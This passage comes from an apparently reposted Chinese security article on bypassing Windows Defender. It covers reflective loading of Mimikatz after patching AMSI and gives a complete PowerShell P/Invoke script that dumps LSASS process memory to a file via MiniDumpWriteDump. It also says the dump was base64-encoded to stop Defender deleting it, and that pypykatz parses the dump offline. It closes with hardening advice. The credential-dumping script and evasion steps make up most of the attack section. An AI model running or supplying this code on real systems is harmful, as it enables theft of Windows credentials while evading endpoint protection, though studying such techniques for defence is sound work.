幸运的是,这个 repo不仅包含每个著名工具的大量预构建脚本,还包含从二进制文件创建自己的脚本的说明。
对于这个 PoC,我将执行 Mimikatz,但您可以随意使用任何其他方法。
反射加载 Mimikatz
请注意,如前所述,对于某些二进制文件,可能不需要绕过 AMSI,具体取决于您在脚本中应用的二进制文件的字符串表示形式。但由于 Invoke-Mimikatz 广为人知,因此我需要在此示例中执行此操作。
10. P/Invoke C# 程序集
P/Invoke 或 Platform Invoke 允许我们从非托管本机 Windows DLL 访问结构、回调和函数,以便访问 .NET 可能无法直接从本机组件中获取的较低级别 API。
现在,因为我们知道它的作用,并且知道我们可以在 PowerShell 中使用 .NET,这意味着我们可以从 PowerShell 脚本访问低级 API,如果我们之前修补了 AMSI,我们可以在无需 Defender 监视的情况下运行该脚本。
对于此概念验证,假设我们想要通过 MiniDumpWriteDump 将 LSASS 进程转储到“Dbghelp.dll”中可用的文件中。我们可以利用fortra 的 nanodump 工具来实现这一点。但是,它充满了 Microsoft 为该工具生成的签名。相反,我们可以利用 P/Invoke 来编写一个可以执行相同操作的 PowerShell 脚本,但我们可以修补 AMSI 以使其在执行此操作时无法被检测到。
因此,我将使用以下 PS 代码作为 PoC。
迷你转储写入工具
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class MiniDump {
[DllImport("Dbghelp.dll", SetLastError=true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@
$PROCESS_QUERY_INFORMATION = 0x0400
$PROCESS_VM_READ = 0x0010
$MiniDumpWithFullMemory = 0x00000002
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
}
"@
$processId ="788"
$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)
if ($processHandle -ne [IntPtr]::Zero) {
$dumpFile = [System.IO.File]::Create("C:userspublictest1234.txt")
$fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()
$result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
if ($result) {
Write-Host "Sucess"
} else {
Write-Host "Failed" -ForegroundColor Red
}
$dumpFile.Close()
[Kernel32]::CloseHandle($processHandle)
} else {
Write-Host "Failed to open process handle." -ForegroundColor Red
}
在这个例子中,我们首先通过 Add-Type 从 Dbghelp.dll 导入 MiniDumpWriteDump 函数,然后从 kernel32.dll 导入 OpenProcess 和 CloseHandle。最后获取 LSASS 进程的句柄,并使用 MiniDumpWriteDump 执行进程的完整内存转储并将其写入文件。
因此,完整的 PoC 如下:
执行 LSASS 转储
使用 pypykatz 在本地解析 MiniDump 文件
请注意,最后我使用了一个稍微修改过的脚本,将转储加密为 base64,然后将其写入文件,因为 Defender 将文件检测为 LSASS 转储并将其删除。
结论
说了这么多,我并不是想揭穿 Defender 的真面目,或者说它是一款糟糕的防病毒解决方案。事实上,它可能是市场上最好的防病毒解决方案之一,而且本文中的大多数技术都可以用于大多数供应商。但由于这是我在本文中可以使用的解决方案,所以我不能代表其他人。
最后,您永远不应该依赖 AV 或 EDR 作为抵御威胁行为者的第一道防线,而应该强化基础设施,这样即使绕过端点解决方案,您也可以将潜在损害降至最低。例如,强大的权限系统、GPO、ASR 规则、受控访问、流程强化、CLM、AppLocker 等。
原文始发于微信公众号(Ots安全):绕过 Windows Defender (10 种方法)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论